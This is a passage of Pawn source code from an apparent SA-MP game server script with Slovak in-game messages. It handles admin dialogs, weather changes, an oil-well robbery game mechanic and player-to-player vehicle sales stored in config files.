                        new MSG2[128];
                        format(MSG1,128,"Zabil si hráča %s",Name2);
                        format(MSG2,128,"Administrátor %s ťa zabil !",Name);
                        SendClientMessage(playerid,COLOR_ADMIN,MSG1);
                        SendClientMessage(Save_ID,COLOR_ADMIN,MSG2);
                    }
                }
                if(listitem == 3)
                {
                    if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,COLOR_WARNING,"Hráč sa medzitým odpojil !");
                    else
                    {
                        ResetPlayerWeapons(Save_ID);
                        new Name[24];
                        GetPlayerName(playerid,Name,24);
                        new Name2[24];
                        GetPlayerName(Save_ID,Name2,24);
                        new MSG1[128];
                        new MSG2[128];
                        format(MSG1,128,"Odzbrojil si hráča %s",Name2);
                        format(MSG2,128,"Administrátor %s ťa odzbrojil !",Name);
                        SendClientMessage(playerid,COLOR_ADMIN,MSG1);
                        SendClientMessage(Save_ID,COLOR_ADMIN,MSG2);
                    }
                }
                if(listitem == 4)
                {
                    if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,COLOR_WARNING,"Hráč sa medzitým odpojil !");
                    else
                    {
                        ResetPlayerACMoney(Save_ID);
                        new Name[24];
                        GetPlayerName(playerid,Name,24);
                        new Name2[24];
                        GetPlayerName(Save_ID,Name2,24);
                        new MSG1[128];
                        new MSG2[128];
                        format(MSG1,128,"Okradol si hráča %s",Name2);
                        format(MSG2,128,"Administrátor %s ťa okradol !",Name);
                        SendClientMessage(playerid,COLOR_ADMIN,MSG1);
                        SendClientMessage(Save_ID,COLOR_ADMIN,MSG2);
                    }
                }
                if(listitem == 5)
                {
                    if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,COLOR_WARNING,"Hráč sa medzitým odpojil !");
                    else
                    {
                        new Float:X, Float:Y, Float:Z;
                        GetPlayerPos(Save_ID,X,Y,Z);
                        CreateExplosion(X+5,Y,Z,2,10);
                        new Name[24];
                        GetPlayerName(playerid,Name,24);
                        new Name2[24];
                        GetPlayerName(Save_ID,Name2,24);
                        new MSG1[128];
                        new MSG2[128];
                        format(MSG1,128,"Zapálil si hráča %s",Name2);
                        format(MSG2,128,"Administrátor %s ťa zapálil !",Name);
                        SendClientMessage(playerid,COLOR_ADMIN,MSG1);
                        SendClientMessage(Save_ID,COLOR_ADMIN,MSG2);
                    }
                }
                if(listitem == 6)
                {
                    if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,COLOR_WARNING,"Hráč sa medzitým odpojil !");
                    else
                    {
                        SetPlayerSkin(Save_ID,26);
                        Player[playerid][Skin]=26;
                        SetPlayerPos(Save_ID,-373.7,2125.533,133);
                        new Name[24];
                        GetPlayerName(playerid,Name,24);
                        new Name2[24];
                        GetPlayerName(Save_ID,Name2,24);
                        new MSG[128];
                        format(MSG,128,"Administrátor %s prihlásil hráča %s na dvou-týždenný pobyt na pušti !",Name,Name2);
                        SendClientMessageToAll(COLOR_ADMIN,MSG);
                    }
                }
                if(listitem == 7)
                {
                    if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,COLOR_WARNING,"Hráč sa medzitým odpojil !");
                    else if(GetPlayerVehicleID(Save_ID) == 0) return SendClientMessage(playerid,COLOR_WARNING,"Hráč nie je vo vozidle !");
                    else
                    {
                        new vehicleid = GetPlayerVehicleID(Save_ID);
                        SetVehicleHealth(vehicleid, 1000);
                        RepairVehicle(vehicleid);
                        ResetVehicleFuel(vehicleid);

                        new Name[24];
                        GetPlayerName(playerid,Name,24);
                        new Name2[24];
                        GetPlayerName(Save_ID,Name2,24);
                        new MSG1[128];
                        new MSG2[128];
                        format(MSG1,128,"Opravil si hráčovi %s jeho vozidlo a natankoval si mu benzín !",Name2);
                        format(MSG2,128,"Administrátor %s ti opravil vozidlo a natankoval ti benzín !",Name);
                        SendClientMessage(playerid,COLOR_ADMIN,MSG1);
                        SendClientMessage(Save_ID,COLOR_ADMIN,MSG2);
                    }
                }
            }
        }

        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_PlayerHP)
        {
            if(response == 1)
            {
                new Save_ID = Player[playerid][SaveID];
                if(!inputtext[0]) return ShowPlayerDialog(playerid,Dialog_PlayerHP,DIALOG_STYLE_INPUT,"Set HP","{ff0000}Nezadal si život !\nNastav hráčovi život na: 0-100%","Set","Cancel");
                else if(strval(inputtext[0])<0 || strval(inputtext[0])>100) return ShowPlayerDialog(playerid,Dialog_PlayerHP,DIALOG_STYLE_INPUT,"Set HP","{ff0000}0 - 100 % !\nNastav hráčovi život na: 0-100%","Set","Cancel");
                else if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,COLOR_WARNING,"Hráč sa medzitým odpojil !");
                else
                {
                    SetPlayerHealth(Save_ID,strval(inputtext[0]));
                    new Name[24];
                    GetPlayerName(playerid,Name,24);
                    new Name2[24];
                    GetPlayerName(Save_ID,Name2,24);
                    new MSG1[128];
                    new MSG2[128];
                    format(MSG1,128,"Nastavil si hráčovi %s život na %d",Name2,strval(inputtext[0]));
                    format(MSG2,128,"Administrátor %s ti nastavil život na %d",Name,strval(inputtext[0]));
                    SendClientMessage(playerid,COLOR_ADMIN,MSG1);
                    SendClientMessage(Save_ID,COLOR_ADMIN,MSG2);
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_PlayerArmour)
        {
            if(response == 1)
            {
                new Save_ID = Player[playerid][SaveID];
                if(!inputtext[0]) return ShowPlayerDialog(playerid,Dialog_PlayerArmour,DIALOG_STYLE_INPUT,"Set Armour","{ff0000}Nezadal si číslo !\nNastav hráčovi vestu na: 0-100%","Set","Cancel");
                else if(strval(inputtext[0])<0 || strval(inputtext[0])>100) return ShowPlayerDialog(playerid,Dialog_PlayerArmour,DIALOG_STYLE_INPUT,"Set Armour","{ff0000}0 - 100 % !\nNastav hráčovi vestu na: 0-100%","Set","Cancel");
                else if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,COLOR_WARNING,"Hráč sa medzitým odpojil !");
                else
                {
                    SetPlayerArmour(Save_ID,strval(inputtext[0]));
                    new Name[24];
                    GetPlayerName(playerid,Name,24);
                    new Name2[24];
                    GetPlayerName(Save_ID,Name2,24);
                    new MSG1[128];
                    new MSG2[128];
                    format(MSG1,128,"Nastavil si hráčovi %s vestu na %d",Name2,strval(inputtext[0]));
                    format(MSG2,128,"Administrátor %s ti nastavil vestu na %d",Name,strval(inputtext[0]));
                    SendClientMessage(playerid,COLOR_ADMIN,MSG1);
                    SendClientMessage(Save_ID,COLOR_ADMIN,MSG2);
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_RobOilWell)
        {
            if(response == 1)
            {
                new rvid = Player[playerid][OilWell_ID];
                new string[128];
                format(string,128,"Okradol si tento Ropný Vrt, ukradol si %d$",OilWell_Cash[rvid]);
                GivePlayerACMoney(playerid,OilWell_Cash[rvid]);
                SendClientMessage(playerid,COLOR_ORANGE,string);
                OilWell_Cash[rvid]=0;
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_A_Weather)
        {
            if(response == 1)
            {
                new weatherid, weathername[32], string[128], Name[24];
                GetPlayerName(playerid, Name, 24);

                KillTimer(Server[WeatherTimer]);
                Server[WeatherTimer] = SetTimer("SetRandomWeather", 500000+random(180000), 0);

                if(listitem == 0) weatherid=WEATHER_BLUESKY0;
                if(listitem == 1) weatherid=WEATHER_BLUESKY1;
                if(listitem == 2) weatherid=WEATHER_BLUESKY2;
                if(listitem == 3) weatherid=WEATHER_BLUESKY3;
                if(listitem == 4) weatherid=WEATHER_BLUESKY4;
                if(listitem == 5) weatherid=WEATHER_BLUESKY5;
                if(listitem == 6) weatherid=WEATHER_ORANGE;
                if(listitem == 7) weatherid=WEATHER_DARK0;
                if(listitem == 8) weatherid=WEATHER_DARK1;
                if(listitem == 9) weatherid=WEATHER_FOGGY0;
                if(listitem == 10) weatherid=WEATHER_FOGGY1;
                if(listitem == 11) weatherid=WEATHER_TOXIC;
                if(listitem == 12) weatherid=WEATHER_RAIN0;
                if(listitem == 13) weatherid=WEATHER_RAIN1;
                if(listitem == 14) weatherid=WEATHER_SANDSTORM;
                
                ServerWeather = weatherid;

                if(weatherid == WEATHER_BLUESKY0) weathername="Slnečno 1";
                if(weatherid == WEATHER_BLUESKY1) weathername="Slnečno 2";
                if(weatherid == WEATHER_BLUESKY2) weathername="Slnečno 3";
                if(weatherid == WEATHER_BLUESKY3) weathername="Slnečno 4";
                if(weatherid == WEATHER_BLUESKY4) weathername="Slnečno 5";
                if(weatherid == WEATHER_BLUESKY5) weathername="Slnečno 6";
                if(weatherid == WEATHER_RAIN0) weathername="Dášt 1";
                if(weatherid == WEATHER_FOGGY0) weathername="Mlha 1";
                if(weatherid == WEATHER_RAIN1) weathername="Dášť 2";
                if(weatherid == WEATHER_SANDSTORM) weathername="Piesečná burkae";
                if(weatherid == WEATHER_DARK0) weathername="Zamračene 1";
                if(weatherid == WEATHER_DARK1) weathername="Zamračene 2";
                if(weatherid == WEATHER_FOGGY1) weathername="Mlha 2";
                if(weatherid == WEATHER_ORANGE) weathername="Západ slnka";
                if(weatherid == WEATHER_TOXIC) weathername="Toxic";

                SetWeather(weatherid);

                format(string, 128, "Administrátor %s nastavil počasie %s.", Name, weathername);
                SendClientMessageToAll(COLOR_ADMIN, string);
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_PlayerVehiclesMenu)
        {
            if(response == 1)
            {
                new way[32], Name[24], V_id[16], Vehname[64];
                GetPlayerName(playerid, Name, 24);
                format(way, 32, "SL/%s.cfg", Name);
                format(V_id, 16, "V%d_id", listitem);
                
                if(dini_Int(way, V_id) == 0) return FormatPlayerInfoBox(playerid, "~g~Info Box", "~r~Na tomto slote nemas kupene ziadne vozidlo!", 3000);
                else
                {
                    Player[playerid][SavePlayerVehicleNumber] = listitem;
                
                    format(Vehname, 64, "{ffff00}%s", VehicleName[dini_Int(way, V_id) - 400]);
                    ShowPlayerDialog(playerid, Dialog_PlayerVehicleMenu, DIALOG_STYLE_LIST, Vehname, "Pozicia vozidla\nRespawn\nPredať vozidlo\nPredať vozidlo hráčovy", "OK", "Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_PlayerVehicleMenu)
        {
            if(response == 1)
            {
                new way[32], Name[24], V_id[16];
                GetPlayerName(playerid, Name, 24);
                format(way, 32, "SL/%s.cfg", Name);
                format(V_id, 16, "V%d_id", Player[playerid][SavePlayerVehicleNumber]);

                if(listitem == 0)
                {
                    TogglePlayerControllable(playerid, 0);
                    new Float:pos[3];
                    GetVehiclePos(PlayerVehicle[Player[playerid][SavePlayerVehicleNumber]][playerid], pos[0], pos[1], pos[2]);
                    SetPlayerCameraPos(playerid, pos[0], pos[1], pos[2]+100);
                    SetPlayerCameraLookAt(playerid, pos[0], pos[1], pos[2]);
                    
                    SavePlayerLastStats(playerid);
                    SetPlayerPos(playerid, pos[0], pos[1], -40);
                    
                    SetTimerEx("PlayerCameraBack", 4100, 0, "i", playerid);
                    SetTimerEx("LoadPlayerLastStats", 4100, 0, "i", playerid);
                    
                    new GMtext[64];
                    new GameZone[MAX_ZONE_NAME];
                    GetVehicle2DZone(PlayerVehicle[Player[playerid][SavePlayerVehicleNumber]][playerid], GameZone, MAX_ZONE_NAME);

                    format(GMtext,64,"~n~~n~~n~~n~~n~~w~Vehicle Position~n~~g~%s",GameZone);
                    GameTextForPlayer(playerid,GMtext,4000,5);
                }
                
                if(listitem == 1)
                {
                    SetVehicleToRespawn(PlayerVehicle[Player[playerid][SavePlayerVehicleNumber]][playerid]);
                    
                    FormatPlayerInfoBox(playerid, "~g~Info Box", "~w~Uspesne si si respawnul vozidlo.", 2350);
                }
                
                if(listitem == 2)
                {
                    new string[256];
                
                    new v_id[16]; format(v_id,16,"V%d_id", Player[playerid][SavePlayerVehicleNumber]);
                    new v_sell[16]; format(v_sell,16,"V%d_sell", Player[playerid][SavePlayerVehicleNumber]);
                    new v_neons[16]; format(v_neons,16,"V%d_neons", Player[playerid][SavePlayerVehicleNumber]);
                    new v_wheels[16]; format(v_wheels,16,"V%d_wheels", Player[playerid][SavePlayerVehicleNumber]);
                    new v_spoiler[16]; format(v_spoiler,16,"V%d_spoiler", Player[playerid][SavePlayerVehicleNumber]);
                    new v_pn[16]; format(v_pn,16,"V%d_pn", Player[playerid][SavePlayerVehicleNumber]);
                    new v_pj[16]; format(v_pj,16,"V%d_pj", Player[playerid][SavePlayerVehicleNumber]);
                    new v_snL[16]; format(v_snL,16,"V%d_snL", Player[playerid][SavePlayerVehicleNumber]);
                    new v_snR[16]; format(v_snR,16,"V%d_snR", Player[playerid][SavePlayerVehicleNumber]);
                    new v_zn[16]; format(v_zn,16,"V%d_zn", Player[playerid][SavePlayerVehicleNumber]);
                    new v_exhaust[16]; format(v_exhaust,16,"V%d_exhaust", Player[playerid][SavePlayerVehicleNumber]);
                    new v_nitro[16]; format(v_nitro,16,"V%d_nitro", Player[playerid][SavePlayerVehicleNumber]);
                    new v_hyd[16]; format(v_hyd,16,"V%d_hyd", Player[playerid][SavePlayerVehicleNumber]);
                    new v_roof[16]; format(v_roof,16,"V%d_roof", Player[playerid][SavePlayerVehicleNumber]);
                    new v_color1[16]; format(v_color1,16,"V%d_color1", Player[playerid][SavePlayerVehicleNumber]);
                    new v_color2[16]; format(v_color2,16,"V%d_color2", Player[playerid][SavePlayerVehicleNumber]);
                    new v_spz[16]; format(v_spz,16,"V%d_spz", Player[playerid][SavePlayerVehicleNumber]);
                    new V_posX[16]; format(V_posX,16,"V%d_posX", Player[playerid][SavePlayerVehicleNumber]);
                    new V_posY[16]; format(V_posY,16,"V%d_posY", Player[playerid][SavePlayerVehicleNumber]);
                    new V_posZ[16]; format(V_posZ,16,"V%d_posZ", Player[playerid][SavePlayerVehicleNumber]);
                    new V_angle[16]; format(V_angle,16,"V%d_angle", Player[playerid][SavePlayerVehicleNumber]);
                    
                    format(string, 256, "~w~Predal si si sveoje vozidlo ~y~%s~w~ za ~y~%d$~w~!", VehicleName[dini_Int(way, v_id) - 400], dini_Int(way, v_sell));
                    GivePlayerACMoney(playerid, dini_Int(way, v_sell));
                    
                    if(PlayerVehicle_State[Player[playerid][SavePlayerVehicleNumber]][playerid] == true)
                    {
                        if(PlayerVehicleNeons[Player[playerid][SavePlayerVehicleNumber]][playerid] == true)
                        {
                            PlayerVehicleNeons[Player[playerid][SavePlayerVehicleNumber]][playerid] = false;
                            DestroyObject(PlayerVehicleNeon1[Player[playerid][SavePlayerVehicleNumber]][playerid]);
                            DestroyObject(PlayerVehicleNeon2[Player[playerid][SavePlayerVehicleNumber]][playerid]);
                        }

                        PlayerVehicle_State[Player[playerid][SavePlayerVehicleNumber]][playerid]=false;

                        DestroyVehicleEx(PlayerVehicle[Player[playerid][SavePlayerVehicleNumber]][playerid]);
                    }
                    
                    dini_FloatSet(way,V_angle,0.000000);
                    dini_IntSet(way,v_id,0);
                    dini_IntSet(way,v_sell,0);
                    dini_IntSet(way,v_neons,0);
                    dini_IntSet(way,v_wheels,0);
                    dini_IntSet(way,v_spoiler,0);
                    dini_IntSet(way,v_pn,0);
                    dini_IntSet(way,v_pj,9999);
                    dini_IntSet(way,v_snL,0);
                    dini_IntSet(way,v_snR,0);
                    dini_IntSet(way,v_zn,0);
                    dini_IntSet(way,v_exhaust,0);
                    dini_IntSet(way,v_nitro,0);
                    dini_IntSet(way,v_hyd,0);
                    dini_IntSet(way,v_roof,0);
                    dini_IntSet(way,v_color1,0);
                    dini_IntSet(way,v_color2,0);
                    dini_Set(way,v_spz,"SL-000XX");
                    dini_FloatSet(way,V_posX,0.000000);
                    dini_FloatSet(way,V_posY,0.000000);
                    dini_FloatSet(way,V_posZ,0.000000);

                    FormatPlayerInfoBox(playerid, "~g~Info Box", string, 3000);
                }
                
                if(listitem == 3)
                {
                    ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer1, DIALOG_STYLE_INPUT, "{ffff00}Prodat vozidlo hráči", "{ffff70}Zadej ID hráče kterému chceš prodat vozidlo:\n{c5c5c5}Hráč a vozidlo musí být při tobě !", "Next", "Cancel");
                }
                
                //if(listitem == 4)
                //{
                //    ShowPlayerDialog(playerid, Dialog_PlayerVehicleGiveKey, DIALOG_STYLE_INPUT, "{ffff00}Požičiať hráčovy klúče od vozidla", "{ffff70}Zadaj ID hráča ktorému chceš požičiať klúče:\n{c5c5c5}Hráč musí byť pri tebe !\nKeď se hráč odpojí, klúče mu budu automaticky odobráne", "Požičiať", "Cancel");
                //}
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_PlayerVehicleSellVehicleToPlayer1)
        {
            if(response == 1)
            {
                new id = strval(inputtext);
                new bool:HaveIDFreeVehicleSlot=false;
                new FreeVehicleSlotNumber;
                new Float:pos[3];
                new V_id[16];
                new way[32];
                new Name[24];
                new vehicleid = PlayerVehicle[Player[playerid][SavePlayerVehicleNumber]][playerid];
                GetVehiclePos(vehicleid, pos[0], pos[1], pos[2]);
                GetPlayerName(playerid, Name, 24);
                format(way,32, "SL/%s.cfg", Name);
                
                if(IsPlayerConnected(id))
                {
                    if(Player[id][VIP] == 0)
                    {
                        for(new v=0; v<3; v++)
                        {
                            if(PlayerVehicle_State[v][id] == false)
                            {
                                FreeVehicleSlotNumber = v;
                                HaveIDFreeVehicleSlot=true;
                                break;
                            }
                        }
                    }
                    else
                    {
                        for(new v=0; v<5; v++)
                        {
                            if(PlayerVehicle_State[v][id] == false)
                            {
                                FreeVehicleSlotNumber = v;
                                HaveIDFreeVehicleSlot=true;
                                break;
                            }
                        }
                    }
                }
            
                if(!strlen(inputtext)) return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer1, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovy", "{ff0000}Nezadal si ID !\n{ffff70}Zadaj ID hráča ktorému chceš predať vozidlo:\n{c5c5c5}Hráč a vozidlo musia byť pri tebe !", "Next", "Cancel");
                else if(playerid == id) return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer1, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovy", "{ff0000}Nemôžeš predať vozidlo sám sebe !\n{ffff70}Zadaj ID hráča ktorému chceš predať vozidlo:\n{c5c5c5}Hráč a vozidlo musia byť pri tebe !", "Next", "Cancel");
                else if(!IsPlayerConnected(id)) return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer1, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovy", "{ff0000}Hráć se zadaným ID není připojený !\n{ffff70}Zadaj ID hráča ktorému chceš predať vozidlo:\n{c5c5c5}Hráč a vozidlo musia byť pri tebe !", "Next", "Cancel");
                else if(IsPlayerNPC(id)) return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer1, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovy", "{ff0000}Toto je NPC !\n{ffff70}Zadaj ID hráča ktorému chceš predať vozidlo:\n{c5c5c5}Hráč a vozidlo musia byť pri tebe !", "Next", "Cancel");
                else if(Player[id][AFK] == true) return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer1, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovy", "{ff0000}Hráč je AFK !\n{ffff70}Zadaj ID hráča ktorému chceš predať vozidlo:\n{c5c5c5}Hráč a vozidlo musia byť pri tebe !", "Next", "Cancel");
                else if(!IsPlayerInSphere(playerid, pos[0], pos[1], pos[2], 5)) return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer1, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovy", "{ff0000}Nie si pri vozidle !\n{ffff70}Zadaj ID hráča ktorému chceš predať vozidlo:\n{c5c5c5}Hráč a vozidlo musia byť pri tebe !", "Next", "Cancel");
                else if(!IsPlayerInSphere(id, pos[0], pos[1], pos[2], 5)) return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer1, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovy", "{ff0000}Hráč zo zadaným ID nie je pri vozidle !\n{ffff70}Zadaj ID hráča ktorému chceš predať vozidlo:\n{c5c5c5}Hráč a vozidlo musia byť pri tebe !", "Next", "Cancel");
                else if(HaveIDFreeVehicleSlot == false) return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer1, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovy", "{ff0000}Hráč zo zadaným ID nemá voľny slot na kupenie vozidla !\n{ffff70}Zadaj ID hráča ktorému chceš predať vozidlo:\n{c5c5c5}Hráč a vozidlo musia byť pri tebe !", "Next", "Cancel");
                else
                {
                    Player[playerid][SaveID] = id;
                    Player[playerid][SaveIDFreeVehSlot] = FreeVehicleSlotNumber;
                    new string[256], Name2[24];
                    GetPlayerName(id, Name2, 24);
                    format(V_id, 16, "V%d_id", Player[playerid][SavePlayerVehicleNumber]);
                    format(string,256, "{c5c5c5}Vozdilo: {ffff70}%s\n{c5c5c5}Hráč: {ffff70}%s\n\nZadaj sumu za ktoru chceš predať vozidlo:", VehicleName[dini_Int(way, V_id) - 400], Name2);
                    
                    ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer2, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovy", string, "Predať", "Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_PlayerVehicleSellVehicleToPlayer2)
        {
            if(response == 1)
            {
                new id = Player[playerid][SaveID];
                new way[32];
                new Name[24];
                GetPlayerName(playerid, Name, 24);
                format(way,32, "SL/%s.cfg", Name);

                new string[256], Name2[24], V_id[16];
                if(IsPlayerConnected(id)) GetPlayerName(id, Name2, 24);
                format(V_id, 16, "V%d_id", Player[playerid][SavePlayerVehicleNumber]);
                
                new Float:pos[3];
                new vehicleid = PlayerVehicle[Player[playerid][SavePlayerVehicleNumber]][playerid];
                GetVehiclePos(vehicleid, pos[0], pos[1], pos[2]);
                
                if(!strlen(inputtext))
                {
                    format(string,256, "{ff0000}Nezadal si sumu !\n{c5c5c5}Vozdilo: {ffff70}%s\n{c5c5c5}Hráč: {ffff70}%s\n\nZadaj sumu za ktorú chceš predať vozidlo:", VehicleName[dini_Int(way, V_id) - 400], Name2);
                    return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer2, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovi", string, "Predať", "Cancel");
                }
                else if(strval(inputtext) < 0)
                {
                    format(string,256, "{ff0000}Neplatná hodnota !\n{c5c5c5}Vozdilo: {ffff70}%s\n{c5c5c5}Hráč: {ffff70}%s\n\nZadaj sumu za ktorú chceš predať vozidlo:", VehicleName[dini_Int(way, V_id) - 400], Name2);
                    return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer2, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovi", string, "Predať", "Cancel");
                }
                else if(!IsPlayerConnected(id))
                {
                    format(string,256, "{ff0000}Hráč sa medzitým odpojil !\n{c5c5c5}Vozdilo: {ffff70}%s\n{c5c5c5}Hráč: {ffff70}%s\n\nZadaj sumu za ktorú chceš predať vozidlo:", VehicleName[dini_Int(way, V_id) - 400], Name2);
                    return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer2, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovi", string, "Predať", "Cancel");
                }
                else if(Player[id][AFK] == true)
                {
                    format(string,256, "{ff0000}Hráč je AFK !\n{c5c5c5}Vozdilo: {ffff70}%s\n{c5c5c5}Hráč: {ffff70}%s\n\nZadaj sumu za ktorú chceš predať vozidlo:", VehicleName[dini_Int(way, V_id) - 400], Name2);
                    return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer2, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovi", string, "Predať", "Cancel");
                }
                else if(strval(inputtext) > GetPlayerACMoney(id))
                {
                    format(string,256, "{ff0000}Hráč nemá dostatok peňazi !\n{c5c5c5}Vozdilo: {ffff70}%s\n{c5c5c5}Hráč: {ffff70}%s\n\nZadaj sumu za ktorú chceš predať vozidlo:", VehicleName[dini_Int(way, V_id) - 400], Name2);
                    return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer2, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovi", string, "Predať", "Cancel");
                }
                else if(!IsPlayerInSphere(playerid, pos[0], pos[1], pos[2], 5))
                {
                    format(string,256, "{ff0000}Nie si pri vozidle !\n{c5c5c5}Vozdilo: {ffff70}%s\n{c5c5c5}Hráč: {ffff70}%s\n\nZadaj sumu za ktorú chceš predať vozidlo:", VehicleName[dini_Int(way, V_id) - 400], Name2);
                    return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer2, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovi", string, "Predať", "Cancel");
                }
                else if(!IsPlayerInSphere(id, pos[0], pos[1], pos[2], 5))
                {
                    format(string,256, "{ff0000}Hráč zo zadaným ID nie je pri vozidle !\n{c5c5c5}Vozdilo: {ffff70}%s\n{c5c5c5}Hráč: {ffff70}%s\n\nZadaj sumu za ktorú chceš predať vozidlo:", VehicleName[dini_Int(way, V_id) - 400], Name2);
                    return ShowPlayerDialog(playerid, Dialog_PlayerVehicleSellVehicleToPlayer2, DIALOG_STYLE_INPUT, "{ffff00}Predať vozidlo hráčovi", string, "Predať", "Cancel");
                }
                else
                {
                     Player[playerid][SavePlayerVehiclePrice] = strval(inputtext);
                     
                     Player[id][SaveID] = playerid;
                     
                     format(string, 256, "{c5c5c5}Hráč {ffff70}%s{c5c5c5} ti chce predať vozidlo {ffff70}%s{c5c5c5} za {ffff70}%d{c5c5c5}$.\nPrijímaš jeho ponuku ?", Name, VehicleName[dini_Int(way, V_id) - 400], strval(inputtext));
                    ShowPlayerDialog(id, Dialog_PlayerVehicleSellVehicleToPlayer3, DIALOG_STYLE_MSGBOX, "{ffff00}Ponuka", string, "Nie", "Ano");

                     format(string, 256, "{c5c5c5}Ponúkol si hráčovi {ffff70}%s{c5c5c5} vozidlo {ffff70}%s{c5c5c5} za {ffff70}%d${c5c5c5}.\nPočkaj na jeho odpoveď.", Name2, VehicleName[dini_Int(way, V_id) - 400], strval(inputtext));
                    ShowPlayerDialog(playerid, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, "{ffff00}Ponuka", string, "OK", "");
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_PlayerVehicleSellVehicleToPlayer3)
        {
            new s_id = playerid;
            new s_playerid = Player[s_id][SaveID];
            
            if(!IsPlayerConnected(s_playerid)) return SendClientMessage(s_id, COLOR_WARNING, "[  !  ]{ffffff} Hráč sa medzitým odpojil !");
            {
                new s_price = Player[s_playerid][SavePlayerVehiclePrice];
                new s_slot_id = Player[s_playerid][SaveIDFreeVehSlot];
                new s_slot_playerid = Player[s_playerid][SavePlayerVehicleNumber];
                new Name[24];
                new Name2[24];
                new way[32];
                new way2[32];

                GetPlayerName(s_playerid, Name, 24);
                GetPlayerName(s_id, Name2, 24);
                format(way, 32, "SL/%s.cfg", Name);
                format(way2, 32, "SL/%s.cfg", Name2);

                if(response == 0)
                {
                    new v_id[16]; format(v_id,16,"V%d_id", s_slot_playerid);
                    new v_sell[16]; format(v_sell,16,"V%d_sell", s_slot_playerid);
                    new v_neons[16]; format(v_neons,16,"V%d_neons", s_slot_playerid);
                    new v_wheels[16]; format(v_wheels,16,"V%d_wheels", s_slot_playerid);
                    new v_spoiler[16]; format(v_spoiler,16,"V%d_spoiler", s_slot_playerid);
                    new v_pn[16]; format(v_pn,16,"V%d_pn", s_slot_playerid);
                    new v_pj[16]; format(v_pj,16,"V%d_pj", s_slot_playerid);
                    new v_snL[16]; format(v_snL,16,"V%d_snL", s_slot_playerid);
                    new v_snR[16]; format(v_snR,16,"V%d_snR", s_slot_playerid);
                    new v_zn[16]; format(v_zn,16,"V%d_zn", s_slot_playerid);
                    new v_exhaust[16]; format(v_exhaust,16,"V%d_exhaust", s_slot_playerid);
                    new v_nitro[16]; format(v_nitro,16,"V%d_nitro", s_slot_playerid);
                    new v_hyd[16]; format(v_hyd,16,"V%d_hyd", s_slot_playerid);
                    new v_roof[16]; format(v_roof,16,"V%d_roof", s_slot_playerid);
                    new v_color1[16]; format(v_color1,16,"V%d_color1", s_slot_playerid);
                    new v_color2[16]; format(v_color2,16,"V%d_color2", s_slot_playerid);
                    new v_spz[16]; format(v_spz,16,"V%d_spz", s_slot_playerid);
                    new V_posX[16]; format(V_posX,16,"V%d_posX", s_slot_playerid);
                    new V_posY[16]; format(V_posY,16,"V%d_posY", s_slot_playerid);
                    new V_posZ[16]; format(V_posZ,16,"V%d_posZ", s_slot_playerid);
                    new V_angle[16]; format(V_angle,16,"V%d_angle", s_slot_playerid);

                    new v_id2[16]; format(v_id2,16,"V%d_id", s_slot_id);
                    new v_sell2[16]; format(v_sell2,16,"V%d_sell", s_slot_id);
                    new v_neons2[16]; format(v_neons2,16,"V%d_neons", s_slot_id);
                    new v_wheels2[16]; format(v_wheels2,16,"V%d_wheels", s_slot_id);
                    new v_spoiler2[16]; format(v_spoiler2,16,"V%d_spoiler", s_slot_id);
